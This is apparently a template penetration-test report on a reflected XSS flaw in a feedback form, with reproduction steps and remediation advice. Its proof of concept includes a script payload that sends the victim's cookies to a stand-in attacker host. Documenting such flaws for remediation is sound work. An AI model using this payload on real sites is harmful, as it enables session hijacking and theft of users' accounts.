Penetration Testing Writeup: XSS in Feedback Form

Executive Summary

A Reflected Cross-Site Scripting (XSS) vulnerability was identified in [Target Application]’s feedback form during a penetration test. This allows attackers to inject scripts that execute in the response, risking user security. This report provides details and remediation steps.

Vulnerability Details

Description

The feedback form reflects user inputs in the response without sanitization, allowing script injection.

Impact

Proof of Concept

  1. Submit the feedback form with: <script>alert('Reflected XSS');</script>.
  2. Observe an alert on the response page.
  3. Malicious payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>.

Steps to Reproduce

  1. Navigate to https://[target-application]/feedback.
  2. Enter <script>alert('Reflected XSS');</script> in the feedback field.
  3. Submit and confirm the alert.

Remediation Recommendations

  1. Input Validation:
    • Restrict feedback inputs to safe characters.
  2. Output Encoding:
    • Encode outputs before rendering.
  3. Content Security Policy:
    • Use CSP: Content-Security-Policy: script-src 'self';.
  4. Secure Coding:
    • Train developers on XSS prevention.
  5. Regular Testing:
    • Conduct security audits.

Conclusion

The Reflected XSS vulnerability in [Target Application]’s feedback form requires immediate remediation.

References

Feedback XSS Alert